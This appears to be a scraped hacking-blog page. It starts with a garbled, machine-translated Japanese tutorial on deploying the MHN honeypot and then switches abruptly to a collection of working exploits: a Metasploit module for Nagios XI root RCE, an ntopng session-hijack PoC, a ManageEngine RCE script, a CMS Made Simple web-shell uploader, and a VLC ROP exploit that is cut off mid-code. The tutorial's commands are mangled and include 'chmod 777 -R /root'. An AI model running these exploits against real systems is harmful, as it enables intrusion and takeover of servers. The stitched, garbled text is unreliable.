Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863572727

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00 Mhn Honey Can Introduction MHN(Modern Honey Network):オープンソースハニーポット、ハニーポットの展開を簡素化し、ハニーポットデータの収集と統計を促進します。 ThreatStreamを使用して展開され、データはMongoDBに保存され、展開センサーはSnort、Kippo、Conpot、Dionaeaが侵入検知システムのインストールされています。収集された情報は、Webインターフェイスを介して表示できます。公式声明によると、現在、MHNサーバーの展開をサポートするためにテストされたシステムには、Ubuntu 14.04、Ubuntu 16.04、Centos 6.9が含まれます。

githubアドレス(https://github.com/threatstream/mh)

0x01サポートハニーポットタイプの鼻をサポートします

Suricata

dionaea

コンポット

キッポ

アムン

Glastopf

ワードポット

shaockpot

P0F

0x02mhnアーキテクチャ2frqdlmh2zd8068.png

0x03 mhnのインストールと使用1.ubuntuインストールMHN管理エンド#オペレーティングシステム:ubuntu16.04システム更新と自動化スクリプトのインストール

sudo aptアップデート

sudo aptアップグレード-y

sudo apt -get install git -y

CD /OPT

sudo git clone 3https://github.com/threatstream/mhn.git

CD MHN /

sudo ./install.sh

#サーバー情報の構成、メールとパスワードは、インストール後のWebバックグラウンドパスワードです

デバッグモードで実行したいですか? y/n

Superuser Email: root@backlion.org

Superuser Password:(再び):

サーバーベースURL ['http://155.138.147.248'] :

ハネマップURL [':3000'] : http://155.138.147.248:3000

メールサーバーアドレス['localhost'] :

メールサーバーポート[25] :

メールにTLSを使用しますか? y/n n

電子メールにSSLを使用しますか? y/n

メールサーバーのユーザー名[''] :

メールサーバーパスワード[''] :

デフォルトの送信者をメールで送信[''] :

ログファイルのパス['/var/log/mhn/mhn.log'] :

Splunkと統合しますか? (y/n)n

エルクをインストールしますか? (y/n)n

#スパンクとエルクを構成して、ここで構成しないことを選択しました

1sexilv3qoc8069.png

2.MHN構成2.1AGENTデプロイメントハニーポット展開オプションで、展開する必要があるハニーポットのタイプを選択し、インストールのために展開スクリプトをコピーします。

コンポットハニーポットを展開する場合は、次のスクリプト:をそのシステムで実行します

wget 'http://155.138.147.248/api/scrip/?text=truescript_id=15' -o deploy.sh sudo bash deploy.sh http://155.138.147.248 lfdwqan

q050w5x35y38070.png

2.2 SplunkおよびArcsightsplunkcd/opt/mhn/scriptsの統合/

sudo ./install_hpfeeds-logger-splunk.sh

sudo ./install_splunk_universalforwarder.sh

Tail -f /var/log/mhn/mhn-splunk.log

これにより、/var/log/mhn-splunk.logの値としてイベントを記録します。 SplunkunveralForwarderはこのログを監視する必要があります

arcsightcd/opt/mhn/scripts/

sudo ./install_hpfeeds-logger-arcsight.sh

Tail -f /var/log/mhn/mhn-arcsight.log

2.3データの禁止Mhnserverの報告は、デフォルトで分析データをAnomaliに報告します。この構成を無効にする必要がある場合は、次のコマンドを実行します。

CD MHN/スクリプト/

sudo ./disable_collector.sh

3。MHNを使用したハニーポットSSHハニーポットテストの展開#ハニーポット展開マシン:155.138.151.176

#honeypot:dionaea

wget

'http://155.138.147.248/api/script/?text=truescript_id=4' -o

deploy.sh sudo bash deploy.sh http://155.138.147.248 lfdwqant

#攻撃をクラックするためにブルートフォースを試してください

hydra -l root -p password.txt mssql: //155.138.151.176

4。インターフェイス関数ディスプレイ1。以下のインターフェイスは、攻撃者のソースIPアドレス、宛先ポート、アフィリエイトプロトコル、およびハニーポットタイプの攻撃レポート情報を示しています。

vrhrrhkyqmx8071.png

2.次の図には、攻撃ペイロードレポート情報(センサー、ソースIPアドレス、宛先ポートなど)がリストされています。

5t5kg5og4bj8072.png

3.次の図には、インストールされているエージェントセンサーがリストされています。

e3wjzy5i5nl8073.png

4.次の図には、それぞれ攻撃者のトップのユーザー名とパスワード辞書がリストされています。

w3tu4reszdd8074.png

m5uoi4fqo3v8075.png

kbcb5repbjw8076.png

5.次の接続アドレスを開き、リアルタイムの攻撃マップ(ハネマップ)を表示します

3xtivc3bedo8077.png

0x05システムトラブルシューティングとセキュリティ設定1。システムを確認してくださいステータスroot@mhn:/opt/mhn/scripts#sudo /etc/init.d/nginx status #check nginx status

* nginxが実行されています

root@mhn:/opt/mhn/scripts#sudo /etc/init.d/supervisorステータス#viewスーパーバイザーステータス

実行しています

root@mhn:/opt/mhn/scripts#sudo supervisorctlステータス#viewすべてのハニーポットシステムコンポーネントの実行ステータス

Geoloc Running PID 31443、Uptime 0:00:12

PID 30826を実行しているハネマップ、アップタイム0:08:54

PID 10089を実行しているHPFeeds-Broker、Uptime 0:36:42

MHN-CELERY-BEAT RUNSING PID 29909、Uptime 0:18336041

PID 29910、アップタイム0:18:41を実行しているMhn-Celery-Worker

PID 7872を実行しているMHNコレクター、アップタイム0:18:41

PID 29911を実行しているMHN-UWSGI、アップタイム0:18:41

Mnemosyne Running PID 28173、Uptime 0:30:08

root@mhn:/opt/mhn/scripts#sudo superpisorctl alt strestartすべての#restartすべてのハニーポットシステムコマンド

通常、各サービスのステータスは次のとおりです。

Geoloc Running PID 31443、Uptime 0:00:12

PID 30826を実行しているハネマップ、アップタイム0:08:54

PID 10089を実行しているHPFeeds-Broker、Uptime 0:36:42

MHN-CELERY-BEAT RUNSING PID 29909、Uptime 0:18336041

PID 29910、アップタイム0:18:41を実行しているMhn-Celery-Worker

PID 7872を実行しているMHNコレクター、アップタイム0:18:41

PID 29911を実行しているMHN-UWSGI、アップタイム0:18:41

Mnemosyne Running PID 28173、Uptime 0:30:08

2.ハネマップのステータスは、Golangの古いバージョンを削除するための致命的なソリューションです

sudo rm -rf/usr/bin/go

sudo apt-get golang-goを削除します

sudo apt-get remove-auto remove golang-go

Golangをインストールします。 Apt-GetインストールGolangがインストールされている場合、Golangバージョンが低いため、後でエラーが報告されるため、コンパイルされたパッケージを直接ダウンロードします。

WGET https://STORAGE.GOOGLEAPIS.COM/GOLANG/GO1.9.LINUX-AMD64.TAR.GZ

減圧してから、次の構成を実行します

sudo tar -xzf go1.9.linux -amd64.tar.gz -c/usr //local///パッケージ名はあなたと同じように変更する必要があることに注意してください

環境変数をインポートします:

goroot=/usr/local/goをエクスポートします

goarch=amd64をエクスポートします

Goos=Linuxをエクスポートします

export gobin=$ goroot/bin/

export gotools=$ goroot/pkg/tool/

エクスポートパス=$ gobin: $ gotools: $パス

依存関係プラグインネットをインストールし、すべてのハニーポットシステムコンポーネントを再起動します

CD/OPT/HONEYMAP/SERVER

gopath=/opt/honeymap/serverをエクスポートします

mkdir -p $ gopath/src/golang.org/x/

cd $ gopath/src/golang.org/x/

git clone https://github.com/golang/net.git net

ネットをインストールします

sudo supervisorctlはすべてを再起動します

3. MHN-CELERY-WOKERの状態は致命的なソリューションCD/VAR/LOG/MHN/

sudo chmod 777 mhn.log

sudo supervisorctlはMhn-celery-workerを開始します

うまくいかない場合

CD/var/log/mhn/#viewセロリワーカーエラーログ

Tail -f Mhn-celery-worker.err

プロンプトされた特定のエラーは次のとおりです

worker.err supervisor:は/root/mhn/server: eacces supervisor:子どものプロセスが生まれなかった)

ルートとディレクトリの権限を変更します

CHMOD 777 -R /root#アクセス許可を変更します

4.マニュアルパスワードリセットメールベースのパスワードリセットがあなたに適していない場合、これは別の方法です。

#CD/OPT/MHN/SERVER/SERVER//

#aptインストールsqlite3

#sqlite3 mhn.db

SQLiteバージョン3.7.9 2011-11-01 00:52:41

指示のために「.help」を入力します

';'で終了したSQLステートメントを入力します

sqlite select * fromユーザー。

1 | username@site.com | sklfdjhkasdlfhklsadhfklasdhfkldsahklsd | 1 |

sqlite.quit

$ cd/opt/mhn/server/

$ source env/bin/activate

$ CDサーバー

$ python manual_password_reset.py

メールアドレス: your_user@your_site.comを入力してください

新しいPassword:を入力します

新しいパスワードを入力してください(もう一度):

ユーザーが見つかった、パスワードの更新

5。ネットワークトラブルシューティング$ sudo netstat -luntp#ネットワークポートの開口部の状況を確認する

アクティブなインターネット接続(サーバーのみ)

proto recv-q send-qローカルアドレス外国住所状態pid/プログラム名

TCP 0 0 0.0.0.0:22 0.0.0.0:* 561/sshdを聞いてください

TCP6 0 0 :336021 :3360:* 3763/dionaeaを聞いてください

TCP6 0 0 :336022 :3360:*聞いてください561/sshd

TCP6 0 0 :1433 :* 3763/dionaeaを聞いてください

TCP6 0 0 :443 :* 3763/dionaeaを聞いてください

TCP6 0 0 :3360445 :* 3763/dionaeaを聞いてください

TCP6 0 0 :33605060 :* 3763/dionaeaを聞いてください

TCP6 0 0 :33605061 :* 3763/dionaeaを聞いてください

TCP6 0 0 :135 :* 3763/dionaeaを聞いてください

TCP6 0 0 :33603306 :* 3763/dionaeaを聞いてください

TCP6 0 0 :336042 :3360:* 3763/dionaeaを聞いてください

TCP6 0 0 :336080 :* 3763/dionaeaを聞いてください

UDP 0 0 0.0.0.0:68 0.0.0.0:* 464/dhclient3

UDP 0 0 0.0.0.0:40077 0.0.0.0:* 3763/dionaea

UDP6 0 0 :33605060 :3360:* 3763/dionaea

UDP6 0 0 :336069 :3360:* 3763/dionaea

$ sudo iptables -l #viewファイアウォールルールステータス

チェーン入力(ポリシーの受け入れ)

ターゲットProTソースの宛先

チェーンフォワード(ポリシーが受け入れる)

ターゲットProTソースの宛先

チェーン出力(ポリシーが受け入れる)

ターゲットProTソースの宛先

$ sudo tcpdump -nnnn tcpポート10000 #listen tcp 10000データ通信情報

tcpdump: verbose出力が抑制され、完全なプロトコルデコードに-vまたは-vvを使用します

ETH0、Link-Type EN10MB(イーサネット)、キャプチャサイズ65535バイトでリスニング

16336046:14.009646 IP 1.2.3.4.42873 5.6.6.8.10000: Flags [P.]、Seq 1180349317:1180349611、ACK 2474834734、Win 913、NOP、NOP、NOP、NOP、TS 169636000]、長さ

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nagios XI Chained Remote Code Execution',
      'Description'    => %q{
        This module exploits a few different vulnerabilities in Nagios XI 5.2.6-5.4.12 to gain remote root access.
        The steps are:
          1. Issue a POST request to /nagiosql/admin/settings.php which sets the database user to root.
          2. SQLi on /nagiosql/admin/helpedit.php allows us to enumerate API keys.
          3. The API keys are then used to add an administrative user.
          4. An authenticated session is established with the newly added user
          5. Command Injection on /nagiosxi/backend/index.php allows us to execute the payload with nopasswd sudo,
          giving us a root shell.
          6. Remove the added admin user and reset the database user.
      },
      'Author'         =>
        [
          'Cale Smith',   # @0xC413
          'Benny Husted', # @BennyHusted
          'Jared Arave'   # @iotennui
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86],
      'CmdStagerFlavor' => ['printf'],
      'Targets'        =>
        [
          [
            'Nagios XI 5.2.6 <= 5.4.12',
            upper_version: Gem::Version.new('5.4.12'),
            lower_version: Gem::Version.new('5.2.6')
          ]
        ],
      'References'     =>
        [
          ['EDB', '44560'],
          ['CVE', '2018-8733'],
          ['CVE', '2018-8734'],
          ['CVE', '2018-8735'],
          ['CVE', '2018-8736'],
          ['URL', 'http://blog.redactedsec.net/exploits/2018/04/26/nagios.html']
        ],
      'Privileged'     => true,
      'DefaultOptions' => {
         'WSFDELAY' => 30
      },
      'DisclosureDate'  => 'Apr 17, 2018',
      'DefaultTarget'   => 0))
    register_options(
      [
        #WSFDelay option is being ignored, getting around this with a call to Rex.sleep
        #Sometimes Nagios doesn't execute commands immediately, so play with this parameter.
        Opt::RPORT(80),
        OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 15 ])
      ])
    deregister_options('SRVHOST', 'SRVPORT')
  end

  def check
    vprint_status "STEP 0: Get Nagios XI version string."
    res = send_request_cgi!({
      'method' => 'GET',
      'uri'    => '/nagiosxi/'
    })

    if !res || !res.get_html_document
      fail_with(Failure::Unknown, 'Could not check nagios version')
    end

    if (@version = res.get_html_document.at('//input[@name = "version"]/@value').text)
      @version = Gem::Version.new(@version)
      vprint_good("STEP 0: Found Nagios XI version: #{@version.to_s}")
      if @version < target[:lower_version]
        vprint_bad('Try nagios_xi_chained for this version.')
      elsif (@version <= target[:upper_version] && @version >= target[:lower_version])
        return CheckCode::Appears
      end
    end
    CheckCode::Safe
  end

  def set_db_user(usr, passwd)
    step = usr == 'root' ? '1' : '6.1'
    vprint_status "STEP #{step}: Setting Nagios XI DB user to #{usr}."
    res = send_request_cgi({
      'uri' => '/nagiosql/admin/settings.php',
      'method' => 'POST',
      'ctype'  => 'application/x-www-form-urlencoded',
      'encode_params' => true,
      'vars_post'   => {
        'txtRootPath'=>'nagiosql',
        'txtBasePath'=>'/var/www/html/nagiosql/',
        'selProtocol'=>'http',
        'txtTempdir'=>'/tmp',
        'selLanguage'=>'en_GB',
        'txtEncoding'=>'utf-8',
        'txtDBserver'=>'localhost',
        'txtDBport'=>3306,
        'txtDBname'=>'nagiosql',
        'txtDBuser'=> usr,
        'txtDBpass'=> passwd,
        'txtLogoff'=>3600,
        'txtLines'=>15,
        'selSeldisable'=>1
      }
    })

    if !res || res.code != 302
      fail_with(Failure::UnexpectedReply,"STEP #{step}: Unexpected response setting db user to root")
    end
    vprint_status "STEP #{step}: Received a 302 Response. That's good!"
  end

  def get_api_keys
    vprint_status 'STEP 2: Exploiting SQLi to extract user API keys.'

    sqli_parm = @version < Gem::Version.new('5.3.0') ? 'backend_ticket' : 'api_key'
    sqli_val = rand_text_alpha(rand(5) + 5)
    res = send_request_cgi({
      'uri' => '/nagiosql/admin/helpedit.php',
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => true,
      'vars_post' => {
        'selInfoKey1'=>"#{sqli_val}'UNION SELECT CONCAT('START_API:',#{sqli_parm},':END_API') FROM nagiosxi.xi_users-- ",
        'hidKey1'=>'common',
        'selInfoKey2'=>'free_variables_name',
        'hidKey2'=>'',
        'selInfoVersion'=>'',
        'hidVersion'=>'',
        'taContent'=>'',
        'modus'=>0
      }
    })

    if !res || res.code != 302 || !res.body
      fail_with(Failure::UnexpectedReply,'STEP 2: Unexpected response extracting api keys')
    end

    vprint_status 'STEP 2: Received a 302 Response. That\'s good!'
    parse_api_key(res.body)
  end

  def parse_api_key(res_body)
    begin_positions = res_body.enum_for(:scan, /START_API:/).map { Regexp.last_match.end(0) }
    end_positions = res_body.enum_for(:scan, /:END_API/).map { Regexp.last_match.begin(0) - 1 }
    api_keys = []

    begin_positions.each_with_index do|val, i|
      key = res_body[val..end_positions[i]]
      unless api_keys.include?(key)
        api_keys << key
      end
    end

    if api_keys.length < 1
      fail_with(Failure::Unknown, 'Could not parse api keys')
    end

    vprint_status "Found #{api_keys.length.to_s} unique api keys"
    api_keys.each do |key|
      vprint_status key
    end

    api_keys
  end

  def add_admin(keys, username, password)
    vprint_status 'STEP 3: Using API Keys to add an administrative user...'
    keys.each do |key|
      user_id = try_add_admin(key, username, password)

      if (user_id.to_i > 0)
        vprint_good "Added user:#{username} password:#{password} userid:#{user_id}"
        return user_id.to_s, key
      end
    end
    fail_with(Failure::Unknown, 'STEP 3: Failed to add a user.')
  end

  def try_add_admin(key, username, passwd)
    vprint_status "STEP 3: trying to add admin user with key #{key}"
    res = send_request_cgi({
      'uri'=> "/nagiosxi/api/v1/system/user",
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_get' => {
        'apikey' => key,
        'pretty' => 1
      },
      'vars_post' =>{
        'username'   => username,
        'password'   => passwd,
        'name'       => rand_text_alpha(rand(5) + 5),
        'email'      =>"#{username}@localhost",
        'auth_level' =>'admin',
        'force_pw_change' => 0
      }
    })

    json = res.get_json_document
    json['userid'] ? json['userid'].to_i : -1
  end

  def delete_admin(key, user_id)
    res = send_request_cgi({
      'uri'=> "/nagiosxi/api/v1/system/user/#{user_id}",
      'method' => 'DELETE',
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_get' => {
        'apikey' => key
      }
    })

    res.body && res.body.include?('was added successfully') ? username : false
  end

  def login(username, password)
    vprint_status "STEP 4.1: Authenticate as user #{username} with password #{password}"
    #4.1 Get nsp for login
    vprint_status 'STEP 4.1: Get NSP and nagiosxi for login..'
    res = send_request_cgi({
      'uri' =>'/nagiosxi/login.php',
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded'
    })

    if !res || !res.body
      fail_with(Failure::Unknown, 'STEP 4.1: Could not get nsp string for login')
    end

    login_nsp = parse_nsp_str(res.body)
    vprint_status "STEP 4.1: login_nsp #{login_nsp} "

    login_nagiosxi = parse_nagiosxi(res)
    vprint_status "STEP 4.1: login_nagiosxi #{login_nagiosxi}"

    vprint_status 'STEP 4.2: Authenticating...'
    res = send_request_cgi({
      'uri'=> '/nagiosxi/login.php',
      'ctype' => 'application/x-www-form-urlencoded',
      'method' => 'POST',
      'cookie' => "nagiosxi=#{login_nagiosxi};",
      'vars_post'=> {
        'nsp' => login_nsp,
        'page' => 'auth',
        'debug' => '',
        'pageopt' => 'login',
        'username' => username,
        'password' => password,
        'loginButton' => ''
      }
    })

    if !res || res.code != 302
      fail_with(Failure::Unknown, 'STEP 4.2 Could not get authed nsp string.')
    end

    authed_nagiosxi = parse_nagiosxi(res)
    vprint_status "STEP 4.2: authed_nagiosxi #{authed_nagiosxi}"
    authed_nagiosxi
  end

  def parse_nsp_str(resp_body)
    nsp_strs = /var nsp_str = "(.+)";\n/.match(resp_body)

    unless nsp_strs || nsp_strs.length < 2
      fail_with(Failure::NotFound, 'Could not find nsp_str')
    end

    nsp_strs[1]
  end

  def parse_nagiosxi(res)
    cookie = res.get_cookies
    matches = /.*nagiosxi=(.+);/.match(cookie)

    unless matches || matches.length < 2
      fail_with(Failure::NotFound, 'Could not find nagiosxi cookie')
    end

    matches[1]
  end

  def execute_command(cmd, opts = {})
    backup_file = rand_text_alpha(rand(5) + 10)

    cmd_execution = "$(cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/#{backup_file} ; echo \"#{cmd}\" > /usr/local/nagiosxi/scripts/reset_config_perms.sh ; sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh) &"

    cmd_cleanup = "$(mv /usr/local/nagiosxi/scripts/#{backup_file} /usr/local/nagiosxi/scripts/reset_config_perms.sh)"
    opts_exec = {
      'uri'=> '/nagiosxi/backend/index.php',
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'cookie' => "nagiosxi=#{@nagiosxi}",
      'vars_get' => {
        'cmd'=>'submitcommand',
        'command'=>'1111',
        'command_data'=> cmd_execution
      }
    }

    opts_cleanup = {
      'uri'=> '/nagiosxi/backend/index.php',
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'cookie' => "nagiosxi=#{@nagiosxi}",
      'vars_get' => {
        'cmd'=>'submitcommand',
        'command'=>'1111',
        'command_data'=> cmd_cleanup
      }
    }

    vprint_status 'STEP 5.1: executing payload'
    res = send_request_cgi(opts_exec)

    if !res || res.code != 200
      fail_with(Failure::Unknown, 'STEP 5.1: Command execution failed')
    end

    vprint_status 'STEP 5.2: removing scripts from disc'
    res = send_request_cgi(opts_cleanup)

    if !res || res.code != 200
      fail_with(Failure::Unknown, 'STEP 5.2: Command cleanup failed')
    end
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'STEP 0: Vulnerable version not found! punt!')
    end

    set_db_user('root', 'nagiosxi')

    keys = get_api_keys
    username = rand_text_alpha(rand(6) + 10)
    password = rand_text_alpha(rand(6) + 10)

    user_id, key = add_admin(keys, username, password)
    @nagiosxi = login(username, password)
    execute_cmdstager()

    #revert databaseuser
    set_db_user('nagiosql', 'n@gweb')
    vprint_status 'STEP 6.2: deleting admin'
    delete_admin(key, user_id)

    #The WSFDelay option is being ignored currently, so this is this workaround.
    Rex.sleep(datastore['WAIT'].to_i)
  end
end
            
'''
# Vulnerability title: ntop-ng < 3.4.180617 - Authentication Bypass
# Author: Ioannis Profetis
# Contact: me at x86.re
# Vulnerable versions: < 3.4.180617-4560
# Fixed version: 3.4.180617
# Link: ntop.org
# Date: 2.07.2018
# CVE-2018-12520

# Product Details
ntopng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform, MacOSX and on Windows as well.

# Vulnerability Details
An issue was discovered in ntopng 3.4. 
The PRNG involved in the generation of session IDs is not seeded at program startup. 
This results in deterministic session IDs being allocated for active user sessions. An attacker with foreknowledge of the operating system and standard library in use by the host running the service and the username of the user whose session they're targeting can abuse the deterministic random number generation in order to hijack the user's session, thus escalating their access.

# Exploit
A proof-of-concept for this vulnerability can be found below. Note that this script has been tested with Python 2.7, and requires the 'requests' module, which can be found in the Python Package Index.
'''

import requests
import sys
import hashlib
from ctypes import *
libc = CDLL('libc.so.6')

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print('[-] Usage: python poc.py <host> <username>')
        sys.exit(1)

    host, username = sys.argv[1:]
    for i in range(256):
        print('[*] Trying with rand() iteration %d...' % i)
        session = hashlib.md5(('%d' % libc.rand()) + username).hexdigest()
        r = requests.get(host + '/lua/network_load.lua', cookies={'user': username, 'session': session})
        if r.status_code == 200:
            print('[+] Got it! Valid session cookie is %s for username %s.' % (session, username))
            break

'''
# Mitigation
Upgrade to the latest stable version of ntop-ng 3.4.

# Attack Type
Remote, Unauthenticated, Escalation of Privileges, Information Disclosure
'''
            
# Exploit Title: ManageEngine Exchange Reporter Plus <= 5310 Unauthenticated RCE
# Date: 28-06-2018
# Software Link: https://www.manageengine.com/products/exchange-reports/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# YouTube: https://www.youtube.com/c/KacperSzurek
# Category: remote
 
1. Description
  
Java servlet `ADSHACluster` executes `bcp.exe` file which can be passed using `BCP_EXE` param.

https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html
  
2. Proof of Concept

```python
import urllib

file_to_execute = "calc.exe"
ip = "192.168.1.105" 

def to_hex(s):
    lst = []
    for ch in s:
        hv = hex(ord(ch)).replace('0x', '')
        if len(hv) == 1:
            hv = '0'+hv
        lst.append(hv)
    
    return reduce(lambda x,y:x+y, lst)

print "ManageEngine Exchange Reporter Plus <= 5310"
print "Unauthenticated Remote Code Execution"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"
print "https://www.youtube.com/c/KacperSzurek"

params = urllib.urlencode({'MTCALL': "nativeClient", "BCP_RLL" : "0102", 'BCP_EXE': to_hex(open(file_to_execute, "rb").read())})
f = urllib.urlopen("http://{}:8181/exchange/servlet/ADSHACluster".format(ip), params)
if '{"STATUS":"error"}' in f.read():
	print "OK"
else:
	print "ERROR"
```

3. Solution:
   
Update to version 5311
https://www.manageengine.com/products/exchange-reports/release-notes.html
            
# Exploit Title: CMS Made Simple 2.2.5 authenticated Remote Code Execution
# Date: 3rd of July, 2018
# Exploit Author: Mustafa Hasan (@strukt93)
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: http://www.cmsmadesimple.org/downloads/cmsms/
# Version: 2.2.5
# CVE: CVE-2018-1000094

import requests
import base64

base_url = "http://192.168.1.10/cmsms/admin"
upload_dir = "/uploads"
upload_url = base_url.split('/admin')[0] + upload_dir
username = "admin"
password = "password"

csrf_param = "__c"
txt_filename = 'cmsmsrce.txt'
php_filename = 'shell.php'
payload = "<?php system($_GET['cmd']);?>"

def parse_csrf_token(location):
    return location.split(csrf_param + "=")[1]

def authenticate():
    page = "/login.php"
    url = base_url + page
    data = {
        "username": username,
        "password": password,
        "loginsubmit": "Submit"
    }
    response  = requests.post(url, data=data, allow_redirects=False)
    status_code = response.status_code
    if status_code == 302:
        print "[+] Authenticated successfully with the supplied credentials"
        return response.cookies, parse_csrf_token(response.headers['Location'])
    print "[-] Authentication failed"
    return None, None

def upload_txt(cookies, csrf_token):
    mact = "FileManager,m1_,upload,0"
    page = "/moduleinterface.php"
    url = base_url + page
    data = {
        "mact": mact,
        csrf_param: csrf_token,
        "disable_buffer": 1
    }
    txt = {
        'm1_files[]': (txt_filename, payload)
    }
    print "[*] Attempting to upload {}...".format(txt_filename)
    response = requests.post(url, data=data, files=txt, cookies=cookies)
    status_code = response.status_code
    if status_code == 200:
        print "[+] Successfully uploaded {}".format(txt_filename)
        return True
    print "[-] An error occurred while uploading {}".format(txt_filename)
    return None

def copy_to_php(cookies, csrf_token):
    mact = "FileManager,m1_,fileaction,0"
    page = "/moduleinterface.php"
    url = base_url + page
    b64 = base64.b64encode(txt_filename)
    serialized = 'a:1:{{i:0;s:{}:"{}";}}'.format(len(b64), b64)
    data = {
        "mact": mact,
        csrf_param: csrf_token,
        "m1_fileactioncopy": "",
        "m1_path": upload_dir,
        "m1_selall": serialized,
        "m1_destdir": "/",
        "m1_destname": php_filename,
        "m1_submit": "Copy"
    }
    print "[*] Attempting to copy {} to {}...".format(txt_filename, php_filename)
    response = requests.post(url, data=data, cookies=cookies, allow_redirects=False)
    status_code = response.status_code
    if status_code == 302:
        if response.headers['Location'].endswith('copysuccess'):
            print "[+] File copied successfully"
            return True
    print "[-] An error occurred while copying, maybe {} already exists".format(php_filename)
    return None    

def quit():
    print "[-] Exploit failed"
    exit()

def run():
    cookies,csrf_token = authenticate()
    if not cookies:
        quit()
    if not upload_txt(cookies, csrf_token):
        quit()
    if not copy_to_php(cookies, csrf_token):
        quit()
    print "[+] Exploit succeeded, shell can be found at: {}".format(upload_url + '/' + php_filename)

run()
            
# Exploit Title: VLC media player 2.2.8 - Arbitrary Code Execution PoC
# Date: 2018-06-06
# Exploit Author: Eugene Ng
# Vendor Homepage: https://www.videolan.org/vlc/index.html
# Software Link: http://download.videolan.org/pub/videolan/vlc/2.2.8/win64/vlc-2.2.8-win64.exe
# Version: 2.2.8
# Tested on: Windows 10 x64
# CVE: CVE-2018-11529
#
# 1. Description
#
# VLC media player through 2.2.8 is prone to a Use-After-Free (UAF) vulnerability. This issue allows 
# an attacker to execute arbitrary code in the context of the logged-in user via crafted MKV files. Failed
# exploit attempts will likely result in denial of service conditions.
#
# Exploit can work on both 32 bits and 64 bits of VLC media player.
#
# 2. Proof of Concept
#
# Generate MKV files using python
# Open VLC media player
# Drag and drop poc.mkv into VLC media player (more reliable than double clicking)
#
# 3. Solution
#
# Update to version 3.0.3
# https://get.videolan.org/vlc/3.0.3/win64/vlc-3.0.3-win64.exe

import uuid
from struct import pack

class AttachedFile(object):
    def __init__(self, data):
        self.uid    = '\x46\xae' + data_size(8) + uuid.uuid4().bytes[:8]
        self.name   = '\x46\x6e' + data_size(8) + uuid.uuid4().bytes[:8]
        self.mime   = '\x46\x60' + data_size(24) + 'application/octet-stream'
        self.data   = '\x46\x5c' + data_size(len(data)) + data
        self.header = '\x61\xa7' + data_size(len(self.name) + len(self.data) + len(self.mime) + len(self.uid))

    def __str__(self):
        return self.header + self.name + self.mime + self.uid + self.data

def to_bytes(n, length):
    h = '%x' % n
    s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')
    return s

def data_size(number, numbytes=range(1, 9)):
    # encode 'number' as an EBML variable-size integer.
    size = 0
    for size in numbytes:
        bits = size*7
        if number <= (1 << bits) - 2:
            return to_bytes(((1 << bits) + number), size)
    raise ValueError("Can't store {} in {} bytes".format(number, size))

def build_data(size, bits, version):
    target_addresses = {
        '64': 0x40000040,
        '32': 0x22000020,
    }
    target_address = target_addresses[bits]

    exit_pointers = {
        '64': {
            '2.2.8': 0x00412680,
        },
        '32': {
            '2.2.8': 0x00411364,
        }
    }
    pExit = exit_pointers[bits][version]

    rop_gadgets = {
        '64': {
            '2.2.8': [
                0x004037ac,             # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 # XOR EAX,EAX # RET
                0x00403b60,             # POP RCX # RET
                target_address,         # lpAddress
                0x004011c2,             # POP RDX # RET
                0x00001000,             # dwSize
                0x0040ab70,             # JMP VirtualProtect
                target_address + 0x500, # Shellcode
            ],
        },
        '32': {
            '2.2.8': [
                0x0040ae91,             # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
                0x00407086,             # POP EDI # RETN [vlc.exe]
                0x00000040,             # 0x00000040-> edx
                0x0040b058,             # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
                0x41414141,             # Filler (compensate)
                0x41414141,             # Filler (compensate)
                0x41414141,             # Filler (compensate)
                0x004039c7,             # POP EAX # POP ECX # RETN [vlc.exe]
                0x22000030,             # Filler (compensate) for rol [eax] below
                0x41414141,             # Filler (compensate)
                0x004039c8,             # POP ECX # RETN [vlc.exe]
                0x0041193d,             # &Writable location [vlc.exe]
                0x00409d18,             # POP EBX # RETN [vlc.exe]
                0x00000201,             # 0x00000201-> ebx
                0x0040a623,             # POP EBP # RETN [vlc.exe]
                0x0040a623,             # POP EBP # RETN [vlc.exe]
                0x004036CB,             # POP ESI # RETN [vlc.exe]
                0x0040848c,             # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
                0x00407086,             # POP EDI # RETN [vlc.exe]
                0x0040ae95,             # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
                0x0040af61,             # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
                target_address + 0x5e0, # Shellcode
            ],
        }
    }

    if bits == '64':
        target_address_packed = pack("<Q", target_addresses[bits])
